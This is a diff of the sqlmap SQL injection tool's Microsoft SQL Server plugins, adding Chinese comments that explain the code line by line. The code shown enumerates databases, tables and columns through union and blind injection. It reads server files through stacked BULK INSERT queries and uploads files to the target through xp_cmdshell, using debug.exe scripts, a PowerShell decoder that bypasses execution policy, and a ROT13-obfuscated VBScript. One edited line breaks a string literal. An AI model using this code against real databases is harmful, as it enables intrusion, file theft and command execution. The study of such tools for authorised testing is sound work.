+        # 初始化每个数据库的表搜索结果
         for db in enumDbs:
             db = safeSQLIdentificatorNaming(db)
             foundTbls[db] = []
 
+        # 遍历要搜索的表列表
         for tbl in tblList:
-            tbl = safeSQLIdentificatorNaming(tbl, True)
+            tbl = safeSQLIdentificatorNaming(tbl, True) # 安全命名表名
 
+            # 输出搜索表信息的提示信息
             infoMsg = "searching table"
             if tblConsider == "1":
                 infoMsg += "s LIKE"
             infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
             logger.info(infoMsg)
 
+            # 构建表搜索查询条件
             tblQuery = "%s%s" % (tblCond, tblCondParam)
             tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl)
 
+            # 遍历数据库列表
             for db in foundTbls.keys():
-                db = safeSQLIdentificatorNaming(db)
+                db = safeSQLIdentificatorNaming(db) # 安全命名数据库名
 
+                # 如果配置中排除了系统数据库，则跳过
                 if conf.excludeSysDbs and db in self.excludeDbsList:
                     infoMsg = "skipping system database '%s'" % db
                     singleTimeLogMessage(infoMsg)
                     continue
 
+                # 如果配置中指定了排除的数据库，则跳过
                 if conf.exclude and re.search(conf.exclude, db, re.I) is not None:
                     infoMsg = "skipping database '%s'" % db
                     singleTimeLogMessage(infoMsg)
                     continue
 
+                # 检查是否可以使用 UNION、ERROR、QUERY 注入技术或直接连接
                 if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                     query = rootQuery.inband.query.replace("%s", db)
                     query += tblQuery
-                    values = inject.getValue(query, blind=False, time=False)
+                    values = inject.getValue(query, blind=False, time=False) # 执行注入并获取结果
-
+                    # 如果获取到了表信息，则进行处理
                     if not isNoneValue(values):
                         if isinstance(values, six.string_types):
                             values = [values]
@@ -230,7 +273,9 @@ class Enumeration(GenericEnumeration):
                                 continue
 
                             foundTbls[db].append(foundTbl)
+                # 如果无法使用上述注入，则使用推断注入搜索表信息
                 else:
+                    # 输出获取表数量的提示信息
                     infoMsg = "fetching number of table"
                     if tblConsider == "1":
                         infoMsg += "s LIKE"
@@ -240,8 +285,8 @@ class Enumeration(GenericEnumeration):
                     query = rootQuery.blind.count
                     query = query.replace("%s", db)
                     query += " AND %s" % tblQuery
-                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
+                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) # 执行推断注入并获取结果
-
+                    # 如果没有获取到有效的表数量，则跳过
                     if not isNumPosStrValue(count):
                         warnMsg = "no table"
                         if tblConsider == "1":
@@ -252,50 +297,57 @@ class Enumeration(GenericEnumeration):
 
                         continue
 
-                    indexRange = getLimitRange(count)
+                    indexRange = getLimitRange(count) # 生成索引范围
 
+                    # 遍历表索引，获取每个表名
                     for index in indexRange:
                         query = rootQuery.blind.query
                         query = query.replace("%s", db)
                         query += " AND %s" % tblQuery
                         query = agent.limitQuery(index, query, tblCond)
-                        tbl = inject.getValue(query, union=False, error=False)
+                        tbl = inject.getValue(query, union=False, error=False) # 执行推断注入并获取结果
                         kb.hintValue = tbl
                         foundTbls[db].append(tbl)
 
+        # 清理空的数据库表列表
         for db, tbls in list(foundTbls.items()):
             if len(tbls) == 0:
                 foundTbls.pop(db)
 
+        # 如果没有找到任何表，则输出警告信息
         if not foundTbls:
             warnMsg = "no databases contain any of the provided tables"
             logger.warning(warnMsg)
             return
 
-        conf.dumper.dbTables(foundTbls)
+        conf.dumper.dbTables(foundTbls) # 将找到的表信息输出到文件
-        self.dumpFoundTables(foundTbls)
+        self.dumpFoundTables(foundTbls) # 输出找到的表信息
 
+    # 定义 searchColumn 方法，用于搜索指定的列
     def searchColumn(self):
-        rootQuery = queries[DBMS.MSSQL].search_column
+        rootQuery = queries[DBMS.MSSQL].search_column # 获取 SQL Server 的列搜索查询语句
-        foundCols = {}
+        foundCols = {} # 初始化找到的列字典
-        dbs = {}
+        dbs = {} # 初始化数据库字典
-        whereTblsQuery = ""
+        whereTblsQuery = "" # 初始化表 WHERE 条件
-        infoMsgTbl = ""
+        infoMsgTbl = "" # 初始化表信息
-        infoMsgDb = ""
+        infoMsgDb = "" # 初始化数据库信息
-        colList = conf.col.split(',')
+        colList = conf.col.split(',') # 获取要搜索的列列表
-
+
+        # 如果配置中指定了排除的列，则跳过
         if conf.exclude:
             colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None]
 
-        origTbl = conf.tbl
+        origTbl = conf.tbl # 保存原始的表配置
-        origDb = conf.db
+        origDb = conf.db # 保存原始的数据库配置
-        colCond = rootQuery.inband.condition
+        colCond = rootQuery.inband.condition # 获取列搜索条件
-        tblCond = rootQuery.inband.condition2
+        tblCond = rootQuery.inband.condition2 # 获取表搜索条件
-        colConsider, colCondParam = self.likeOrExact("column")
+        colConsider, colCondParam = self.likeOrExact("column") # 获取列搜索的方式 (LIKE 或 EXACT)
 
+        # 如果配置中指定了当前数据库，则获取当前数据库
         if conf.db == CURRENT_DB:
             conf.db = self.getCurrentDb()
 
+        # 如果配置中指定了数据库，则分割数据库字符串，否则获取所有数据库
         if conf.db:
             enumDbs = conf.db.split(',')
         elif not len(kb.data.cachedDbs):
@@ -303,30 +355,36 @@ class Enumeration(GenericEnumeration):
         else:
             enumDbs = kb.data.cachedDbs
 
+        # 初始化每个数据库的列搜索结果
         for db in enumDbs:
             db = safeSQLIdentificatorNaming(db)
             dbs[db] = {}
 
+        # 遍历要搜索的列列表
         for column in colList:
-            column = safeSQLIdentificatorNaming(column)
+            column = safeSQLIdentificatorNaming(column) # 安全命名列名
-            conf.db = origDb
+            conf.db = origDb # 恢复原始的数据库配置
-            conf.tbl = origTbl
+            conf.tbl = origTbl # 恢复原始的表配置
 
+            # 输出搜索列信息的提示信息
             infoMsg = "searching column"
             if colConsider == "1":
                 infoMsg += "s LIKE"
             infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)
 
-            foundCols[column] = {}
+            foundCols[column] = {} # 初始化每个列的搜索结果
 
+            # 如果配置中指定了表，则构建表的 WHERE 条件
             if conf.tbl:
                 _ = conf.tbl.split(',')
                 whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")"
                 infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(tbl for tbl in _))
 
+            # 如果配置中指定了当前数据库，则获取当前数据库
             if conf.db == CURRENT_DB:
                 conf.db = self.getCurrentDb()
 
+            # 如果配置中指定了数据库，则构建数据库信息，否则获取所有数据库
             if conf.db:
                 _ = conf.db.split(',')
                 infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _))
@@ -337,30 +395,35 @@ class Enumeration(GenericEnumeration):
 
             logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))
 
+            # 构建列搜索查询条件
             colQuery = "%s%s" % (colCond, colCondParam)
             colQuery = colQuery % unsafeSQLIdentificatorNaming(column)
 
+            # 遍历数据库列表
             for db in (_ for _ in dbs if _):
-                db = safeSQLIdentificatorNaming(db)
+                db = safeSQLIdentificatorNaming(db) # 安全命名数据库名
 
+                # 如果配置中排除了系统数据库，则跳过
                 if conf.excludeSysDbs and db in self.excludeDbsList:
                     continue
 
+                # 如果配置中指定了排除的数据库，则跳过
                 if conf.exclude and re.search(conf.exclude, db, re.I) is not None:
                     continue
 
+                # 检查是否可以使用 UNION、ERROR、QUERY 注入技术或直接连接
                 if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                     query = rootQuery.inband.query % (db, db, db, db, db, db)
                     query += " AND %s" % colQuery.replace("[DB]", db)
                     query += whereTblsQuery.replace("[DB]", db)
-                    values = inject.getValue(query, blind=False, time=False)
+                    values = inject.getValue(query, blind=False, time=False) # 执行注入并获取结果
-
+                    # 如果获取到了列信息，则进行处理
                     if not isNoneValue(values):
                         if isinstance(values, six.string_types):
                             values = [values]
 
                         for foundTbl in values:
-                            foundTbl = safeSQLIdentificatorNaming(unArrayizeValue(foundTbl), True)
+                            foundTbl = safeSQLIdentificatorNaming(unArrayizeValue(foundTbl), True) # 安全命名表名
 
                             if foundTbl is None:
                                 continue
@@ -373,7 +436,7 @@ class Enumeration(GenericEnumeration):
                                 conf.tbl = foundTbl
                                 conf.col = column
 
-                                self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False)
+                                self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) # 获取列信息
 
                                 if db in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[db] and not isNoneValue(kb.data.cachedColumns[db][foundTbl]):
                                     dbs[db][foundTbl].update(kb.data.cachedColumns[db][foundTbl])
@@ -386,9 +449,11 @@ class Enumeration(GenericEnumeration):
                                 foundCols[column][db].append(foundTbl)
                             else:
                                 foundCols[column][db] = [foundTbl]
+                # 如果无法使用上述注入，则使用推断注入搜索列信息
                 else:
                     foundCols[column][db] = []
 
+                    # 输出获取包含该列的表数量的提示信息
                     infoMsg = "fetching number of tables containing column"
                     if colConsider == "1":
                         infoMsg += "s LIKE"
@@ -399,8 +464,9 @@ class Enumeration(GenericEnumeration):
                     query = query % (db, db, db, db, db, db)
                     query += " AND %s" % colQuery.replace("[DB]", db)
                     query += whereTblsQuery.replace("[DB]", db)
-                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
+                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) # 执行推断注入并获取结果
 
+                    # 如果没有获取到有效的表数量，则跳过
                     if not isNumPosStrValue(count):
                         warnMsg = "no tables contain column"
                         if colConsider == "1":
@@ -411,18 +477,19 @@ class Enumeration(GenericEnumeration):
 
                         continue
 
-                    indexRange = getLimitRange(count)
+                    indexRange = getLimitRange(count) # 生成索引范围
 
+                    # 遍历表索引，获取每个表名
                     for index in indexRange:
                         query = rootQuery.blind.query
                         query = query % (db, db, db, db, db, db)
                         query += " AND %s" % colQuery.replace("[DB]", db)
                         query += whereTblsQuery.replace("[DB]", db)
                         query = agent.limitQuery(index, query, colCond.replace("[DB]", db))
-                        tbl = inject.getValue(query, union=False, error=False)
+                        tbl = inject.getValue(query, union=False, error=False) # 执行推断注入并获取结果
                         kb.hintValue = tbl
 
-                        tbl = safeSQLIdentificatorNaming(tbl, True)
+                        tbl = safeSQLIdentificatorNaming(tbl, True) # 安全命名表名
 
                         if tbl not in dbs[db]:
                             dbs[db][tbl] = {}
@@ -432,7 +499,7 @@ class Enumeration(GenericEnumeration):
                             conf.tbl = tbl
                             conf.col = column
 
-                            self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False)
+                            self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) # 获取列信息
 
                             if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]:
                                 dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
@@ -440,7 +507,7 @@ class Enumeration(GenericEnumeration):
                         else:
                             dbs[db][tbl][column] = None
 
-                        foundCols[column][db].append(tbl)
+                        foundCols[column][db].append(tbl) # 将找到的表添加到结果中
 
-        conf.dumper.dbColumns(foundCols, colConsider, dbs)
+        conf.dumper.dbColumns(foundCols, colConsider, dbs) # 将找到的列信息输出到文件
-        self.dumpFoundColumn(dbs, foundCols, colConsider)
+        self.dumpFoundColumn(dbs, foundCols, colConsider) # 输出找到的列信息

src/sqlmap-master/plugins/dbms/mssqlserver/filesystem.py

@@ -5,75 +5,81 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-import ntpath
+# 导入必要的模块
-import os
+import ntpath  # 导入 ntpath 模块，用于处理 Windows 路径
-
+import os # 导入 os 模块，用于执行操作系统相关操作
-from lib.core.common import checkFile
+
-from lib.core.common import getLimitRange
+from lib.core.common import checkFile # 导入 checkFile 函数，用于检查文件是否存在
-from lib.core.common import isNumPosStrValue
+from lib.core.common import getLimitRange # 导入 getLimitRange 函数，用于生成限制范围
-from lib.core.common import isTechniqueAvailable
+from lib.core.common import isNumPosStrValue # 导入 isNumPosStrValue 函数，用于检查值是否为正数字字符串
-from lib.core.common import posixToNtSlashes
+from lib.core.common import isTechniqueAvailable # 导入 isTechniqueAvailable 函数，用于检查指定的注入技术是否可用
-from lib.core.common import randomStr
+from lib.core.common import posixToNtSlashes # 导入 posixToNtSlashes 函数，用于将 POSIX 路径转换为 NT 路径
-from lib.core.common import readInput
+from lib.core.common import randomStr # 导入 randomStr 函数，用于生成随机字符串
-from lib.core.compat import xrange
+from lib.core.common import readInput # 导入 readInput 函数，用于读取用户输入
-from lib.core.convert import encodeBase64
+from lib.core.compat import xrange # 导入 xrange 函数，用于兼容 Python 2 和 3 的循环
-from lib.core.convert import encodeHex
+from lib.core.convert import encodeBase64 # 导入 encodeBase64 函数，用于 Base64 编码
-from lib.core.convert import rot13
+from lib.core.convert import encodeHex # 导入 encodeHex 函数，用于十六进制编码
-from lib.core.data import conf
+from lib.core.convert import rot13 # 导入 rot13 函数，用于 ROT13 编码
-from lib.core.data import kb
+from lib.core.data import conf # 导入 conf 对象，用于访问全局配置信息
-from lib.core.data import logger
+from lib.core.data import kb # 导入 kb 对象，用于访问全局知识库
-from lib.core.enums import CHARSET_TYPE
+from lib.core.data import logger # 导入 logger 对象，用于输出日志
-from lib.core.enums import EXPECTED
+from lib.core.enums import CHARSET_TYPE # 导入 CHARSET_TYPE 枚举，定义字符集类型
-from lib.core.enums import PAYLOAD
+from lib.core.enums import EXPECTED # 导入 EXPECTED 枚举，定义期望的返回值类型
-from lib.core.exception import SqlmapNoneDataException
+from lib.core.enums import PAYLOAD # 导入 PAYLOAD 枚举，定义注入类型
-from lib.core.exception import SqlmapUnsupportedFeatureException
+from lib.core.exception import SqlmapNoneDataException # 导入 SqlmapNoneDataException 异常类，用于表示没有数据
-from lib.request import inject
+from lib.core.exception import SqlmapUnsupportedFeatureException # 导入 SqlmapUnsupportedFeatureException 异常类，用于表示不支持的功能
-
+from lib.request import inject # 导入 inject 函数，用于执行 SQL 注入请求
-from plugins.generic.filesystem import Filesystem as GenericFilesystem
+
-
+from plugins.generic.filesystem import Filesystem as GenericFilesystem # 导入 GenericFilesystem 类，作为当前类的父类
+
+# 定义 Filesystem 类，继承自 GenericFilesystem
 class Filesystem(GenericFilesystem):
+    # 定义 _dataToScr 方法，用于将数据转换为 debug.exe 脚本
     def _dataToScr(self, fileContent, chunkName):
-        fileLines = []
+        fileLines = [] # 初始化文件行列表
-        fileSize = len(fileContent)
+        fileSize = len(fileContent) # 获取文件大小
-        lineAddr = 0x100
+        lineAddr = 0x100 # 设置起始地址
-        lineLen = 20
+        lineLen = 20 # 设置每行长度
 
-        fileLines.append("n %s" % chunkName)
+        fileLines.append("n %s" % chunkName) # 添加 debug.exe 的 'n' 命令，用于设置文件名
-        fileLines.append("rcx")
+        fileLines.append("rcx") # 添加 debug.exe 的 'rcx' 命令，用于设置寄存器 cx
-        fileLines.append("%x" % fileSize)
+        fileLines.append("%x" % fileSize) # 添加文件大小
-        fileLines.append("f 0100 %x 00" % fileSize)
+        fileLines.append("f 0100 %x 00" % fileSize) # 添加 debug.exe 的 'f' 命令，用于填充内存
 
+        # 遍历文件内容，将每一行转换为 debug.exe 的 'e' 命令
         for fileLine in xrange(0, len(fileContent), lineLen):
-            scrString = ""
+            scrString = "" # 初始化每行字符串
 
             for lineChar in fileContent[fileLine:fileLine + lineLen]:
-                strLineChar = encodeHex(lineChar, binary=False)
+                strLineChar = encodeHex(lineChar, binary=False) # 将字符转换为十六进制字符串
 
                 if not scrString:
-                    scrString = "e %x %s" % (lineAddr, strLineChar)
+                    scrString = "e %x %s" % (lineAddr, strLineChar) # 如果是第一个字符，则添加 'e' 命令
                 else:
-                    scrString += " %s" % strLineChar
+                    scrString += " %s" % strLineChar # 添加字符
 
-                lineAddr += len(strLineChar) // 2
+                lineAddr += len(strLineChar) // 2 # 更新地址
 
-            fileLines.append(scrString)
+            fileLines.append(scrString) # 添加到文件行列表
 
-        fileLines.append("w")
+        fileLines.append("w") # 添加 debug.exe 的 'w' 命令，用于写入文件
-        fileLines.append("q")
+        fileLines.append("q") # 添加 debug.exe 的 'q' 命令，用于退出 debug.exe
 
-        return fileLines
+        return fileLines # 返回文件行列表
 
+    # 定义 _updateDestChunk 方法，用于更新目标文件的 chunk
     def _updateDestChunk(self, fileContent, tmpPath):
-        randScr = "tmpf%s.scr" % randomStr(lowercase=True)
+        randScr = "tmpf%s.scr" % randomStr(lowercase=True) # 生成随机的 debug.exe 脚本文件名
-        chunkName = randomStr(lowercase=True)
+        chunkName = randomStr(lowercase=True) # 生成随机的 chunk 文件名
-        fileScrLines = self._dataToScr(fileContent, chunkName)
+        fileScrLines = self._dataToScr(fileContent, chunkName) # 将文件内容转换为 debug.exe 脚本
 
         logger.debug("uploading debug script to %s\\%s, please wait.." % (tmpPath, randScr))
 
-        self.xpCmdshellWriteFile(fileScrLines, tmpPath, randScr)
+        self.xpCmdshellWriteFile(fileScrLines, tmpPath, randScr) # 使用 xp_cmdshell 将 debug.exe 脚本写入到服务器
 
         logger.debug("generating chunk file %s\\%s from debug script %s" % (tmpPath, chunkName, randScr))
 
+        # 执行 debug.exe 脚本，生成 chunk 文件
         commands = (
             "cd \"%s\"" % tmpPath,
             "debug < %s" % randScr,
@@ -82,25 +88,26 @@ class Filesystem(GenericFilesystem):
 
         self.execCmd(" & ".join(command for command in commands))
 
-        return chunkName
+        return chunkName # 返回 chunk 文件名
 
+    # 定义 stackedReadFile 方法，用于读取服务器文件内容，使用堆叠查询
     def stackedReadFile(self, remoteFile):
         if not kb.bruteMode:
             infoMsg = "fetching file: '%s'" % remoteFile
             logger.info(infoMsg)
 
-        result = []
+        result = [] # 初始化结果列表
-        txtTbl = self.fileTblName
+        txtTbl = self.fileTblName # 获取文件表名
-        hexTbl = "%s%shex" % (self.fileTblName, randomStr())
+        hexTbl = "%s%shex" % (self.fileTblName, randomStr()) # 生成十六进制表名
 
-        self.createSupportTbl(txtTbl, self.tblField, "text")
+        self.createSupportTbl(txtTbl, self.tblField, "text") # 创建支持表，用于存储文件内容
-        inject.goStacked("DROP TABLE %s" % hexTbl)
+        inject.goStacked("DROP TABLE %s" % hexTbl) # 删除十六进制表
-        inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))
+        inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)")) # 创建十六进制表
 
         logger.debug("loading the content of file '%s' into support table" % remoteFile)
-        inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, remoteFile, randomStr(10), randomStr(10)), silent=True)
+        inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, remoteFile, randomStr(10), randomStr(10)), silent=True) # 使用 BULK INSERT 将文件内容读取到支持表
 
-        # Reference: https://web.archive.org/web/20120211184457/http://support.microsoft.com/kb/104829
+        # 将二进制数据转换为十六进制字符串的 SQL 查询
         binToHexQuery = """DECLARE @charset VARCHAR(16)
         DECLARE @counter INT
         DECLARE @hexstr VARCHAR(4096)
@@ -139,67 +146,76 @@ class Filesystem(GenericFilesystem):
         END
         """ % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField)
 
-        binToHexQuery = binToHexQuery.replace("    ", "").replace("\n", " ")
+        binToHexQuery = binToHexQuery.replace("    ", "").replace("\
-        inject.goStacked(binToHexQuery)
+", " ") # 移除多余空格和换行符
+        inject.goStacked(binToHexQuery) # 执行 SQL 查询，将二进制数据转换为十六进制字符串
 
+        # 如果可以使用 UNION 注入，则直接读取十六进制表
         if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
             result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), resumeValue=False, blind=False, time=False, error=False)
 
+        # 如果无法使用 UNION 注入，则使用推断注入来读取十六进制表
         if not result:
             result = []
-            count = inject.getValue("SELECT COUNT(*) FROM %s" % (hexTbl), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
+            count = inject.getValue("SELECT COUNT(*) FROM %s" % (hexTbl), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) # 获取十六进制表的行数
 
             if not isNumPosStrValue(count):
                 errMsg = "unable to retrieve the content of the "
                 errMsg += "file '%s'" % remoteFile
                 raise SqlmapNoneDataException(errMsg)
 
-            indexRange = getLimitRange(count)
+            indexRange = getLimitRange(count) # 生成索引范围
 
+            # 遍历索引范围，逐行读取十六进制数据
             for index in indexRange:
                 chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
                 result.append(chunk)
 
-        inject.goStacked("DROP TABLE %s" % hexTbl)
+        inject.goStacked("DROP TABLE %s" % hexTbl) # 删除十六进制表
 
-        return result
+        return result # 返回读取的文件内容
 
+    # 定义 unionWriteFile 方法，用于使用 UNION 注入写入文件，但此方法不支持 SQL Server
     def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
         errMsg = "Microsoft SQL Server does not support file upload with "
         errMsg += "UNION query SQL injection technique"
         raise SqlmapUnsupportedFeatureException(errMsg)
 
+    # 定义 _stackedWriteFilePS 方法，用于使用 PowerShell 写入文件内容
     def _stackedWriteFilePS(self, tmpPath, localFileContent, remoteFile, fileType):
         infoMsg = "using PowerShell to write the %s file content " % fileType
         infoMsg += "to file '%s'" % remoteFile
         logger.info(infoMsg)
 
-        encodedFileContent = encodeBase64(localFileContent, binary=False)
+        encodedFileContent = encodeBase64(localFileContent, binary=False) # 将文件内容进行 Base64 编码
-        encodedBase64File = "tmpf%s.txt" % randomStr(lowercase=True)
+        encodedBase64File = "tmpf%s.txt" % randomStr(lowercase=True) # 生成随机的 Base64 文件名
-        encodedBase64FilePath = "%s\\%s" % (tmpPath, encodedBase64File)
+        encodedBase64FilePath = "%s\\%s" % (tmpPath, encodedBase64File) # 构建 Base64 文件路径
 
-        randPSScript = "tmpps%s.ps1" % randomStr(lowercase=True)
+        randPSScript = "tmpps%s.ps1" % randomStr(lowercase=True) # 生成随机的 PowerShell 脚本文件名
-        randPSScriptPath = "%s\\%s" % (tmpPath, randPSScript)
+        randPSScriptPath = "%s\\%s" % (tmpPath, randPSScript) # 构建 PowerShell 脚本路径
 
-        localFileSize = len(encodedFileContent)
+        localFileSize = len(encodedFileContent) # 获取 Base64 编码后的文件大小
-        chunkMaxSize = 1024
+        chunkMaxSize = 1024 # 设置最大 chunk 大小
 
         logger.debug("uploading the base64-encoded file to %s, please wait.." % encodedBase64FilePath)
 
+        # 循环上传 Base64 编码后的文件内容
         for i in xrange(0, localFileSize, chunkMaxSize):
             wEncodedChunk = encodedFileContent[i:i + chunkMaxSize]
-            self.xpCmdshellWriteFile(wEncodedChunk, tmpPath, encodedBase64File)
+            self.xpCmdshellWriteFile(wEncodedChunk, tmpPath, encodedBase64File) # 使用 xp_cmdshell 将 Base64 编码后的文件内容写入到服务器
 
+        # 构建 PowerShell 脚本
         psString = "$Base64 = Get-Content -Path \"%s\"; " % encodedBase64FilePath
         psString += "$Base64 = $Base64 -replace \"`t|`n|`r\",\"\"; $Content = "
         psString += "[System.Convert]::FromBase64String($Base64); Set-Content "
         psString += "-Path \"%s\" -Value $Content -Encoding Byte" % remoteFile
 
         logger.debug("uploading the PowerShell base64-decoding script to %s" % randPSScriptPath)
-        self.xpCmdshellWriteFile(psString, tmpPath, randPSScript)
+        self.xpCmdshellWriteFile(psString, tmpPath, randPSScript) # 使用 xp_cmdshell 将 PowerShell 脚本写入到服务器
 
         logger.debug("executing the PowerShell base64-decoding script to write the %s file, please wait.." % remoteFile)
 
+        # 执行 PowerShell 脚本，将 Base64 编码后的文件内容解码并写入到目标文件
         commands = (
             "powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath,
             "del /F /Q \"%s\"" % encodedBase64FilePath,
@@ -208,23 +224,26 @@ class Filesystem(GenericFilesystem):
 
         self.execCmd(" & ".join(command for command in commands))
 
+    # 定义 _stackedWriteFileDebugExe 方法，用于使用 debug.exe 写入文件内容
     def _stackedWriteFileDebugExe(self, tmpPath, localFile, localFileContent, remoteFile, fileType):
         infoMsg = "using debug.exe to write the %s " % fileType
         infoMsg += "file content to file '%s', please wait.." % remoteFile
         logger.info(infoMsg)
 
-        remoteFileName = ntpath.basename(remoteFile)
+        remoteFileName = ntpath.basename(remoteFile) # 获取远程文件名
-        sFile = "%s\\%s" % (tmpPath, remoteFileName)
+        sFile = "%s\\%s" % (tmpPath, remoteFileName) # 构建远程文件路径
-        localFileSize = os.path.getsize(localFile)
+        localFileSize = os.path.getsize(localFile) # 获取本地文件大小
-        debugSize = 0xFF00
+        debugSize = 0xFF00 # 设置 debug.exe 的最大写入大小
 
+        # 如果文件小于 debug.exe 的最大写入大小，则直接写入
         if localFileSize < debugSize:
-            chunkName = self._updateDestChunk(localFileContent, tmpPath)
+            chunkName = self._updateDestChunk(localFileContent, tmpPath) # 将文件内容转换为 debug.exe 脚本并生成 chunk 文件
 
             debugMsg = "renaming chunk file %s\\%s to %s " % (tmpPath, chunkName, fileType)
             debugMsg += "file %s\\%s and moving it to %s" % (tmpPath, remoteFileName, remoteFile)
             logger.debug(debugMsg)
 
+            # 将 chunk 文件重命名为目标文件名并移动到目标路径
             commands = (
                 "cd \"%s\"" % tmpPath,
                 "ren %s %s" % (chunkName, remoteFileName),
@@ -232,6 +251,7 @@ class Filesystem(GenericFilesystem):
             )
 
             self.execCmd(" & ".join(command for command in commands))
+        # 如果文件大于 debug.exe 的最大写入大小，则分块写入
         else:
             debugMsg = "the file is larger than %d bytes. " % debugSize
             debugMsg += "sqlmap will split it into chunks locally, upload "
@@ -239,10 +259,12 @@ class Filesystem(GenericFilesystem):
             debugMsg += "on the server, please wait.."
             logger.debug(debugMsg)
 
+            # 循环分块写入文件
             for i in xrange(0, localFileSize, debugSize):
-                localFileChunk = localFileContent[i:i + debugSize]
+                localFileChunk = localFileContent[i:i + debugSize] # 获取文件 chunk
-                chunkName = self._updateDestChunk(localFileChunk, tmpPath)
+                chunkName = self._updateDestChunk(localFileChunk, tmpPath) # 将文件 chunk 转换为 debug.exe 脚本并生成 chunk 文件
 
+                # 如果是第一个 chunk，则重命名，否则合并 chunk
                 if i == 0:
                     debugMsg = "renaming chunk "
                     copyCmd = "ren %s %s" % (chunkName, remoteFileName)
@@ -253,6 +275,7 @@ class Filesystem(GenericFilesystem):
                 debugMsg += "%s\\%s to %s file %s\\%s" % (tmpPath, chunkName, fileType, tmpPath, remoteFileName)
                 logger.debug(debugMsg)
 
+                # 执行重命名或合并操作
                 commands = (
                     "cd \"%s\"" % tmpPath,
                     copyCmd,
@@ -263,6 +286,7 @@ class Filesystem(GenericFilesystem):
 
             logger.debug("moving %s file %s to %s" % (fileType, sFile, remoteFile))
 
+            # 将合并后的文件移动到目标路径
             commands = (
                 "cd \"%s\"" % tmpPath,
                 "move /Y %s %s" % (remoteFileName, remoteFile)
@@ -270,15 +294,17 @@ class Filesystem(GenericFilesystem):
 
             self.execCmd(" & ".join(command for command in commands))
 
+    # 定义 _stackedWriteFileVbs 方法，用于使用 VBScript 写入文件内容
     def _stackedWriteFileVbs(self, tmpPath, localFileContent, remoteFile, fileType):
         infoMsg = "using a custom visual basic script to write the "
         infoMsg += "%s file content to file '%s', please wait.." % (fileType, remoteFile)
         logger.info(infoMsg)
 
-        randVbs = "tmps%s.vbs" % randomStr(lowercase=True)
+        randVbs = "tmps%s.vbs" % randomStr(lowercase=True) # 生成随机的 VBScript 文件名
-        randFile = "tmpf%s.txt" % randomStr(lowercase=True)
+        randFile = "tmpf%s.txt" % randomStr(lowercase=True) # 生成随机的临时文件名
-        randFilePath = "%s\\%s" % (tmpPath, randFile)
+        randFilePath = "%s\\%s" % (tmpPath, randFile) # 构建临时文件路径
 
+        # 构建 VBScript 脚本
         vbs = """Qvz vachgSvyrCngu, bhgchgSvyrCngu
         vachgSvyrCngu = "%f"
         bhgchgSvyrCngu = "%f"
@@ -334,18 +360,17 @@ class Filesystem(GenericFilesystem):
         Raq Shapgvba"""
 
         # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5581
-        vbs = rot13(vbs)
+        vbs = rot13(vbs) # 对 VBScript 脚本进行 ROT13 编码
-        vbs = vbs.replace("    ", "")
+        vbs = vbs.replace("    ", "") # 移除多余空格
-        encodedFileContent = encodeBase64(localFileContent, binary=False)
+        encodedFileContent = encodeBase64(localFileContent, binary=False) # 将文件内容进行 Base64 编码
 
         logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath)
-
+        self.xpCmdshellWriteFile(encodedFileContent, tmpPath, randFile) # 使用 xp_cmdshell 将 Base64 编码后的文件内容写入到服务器
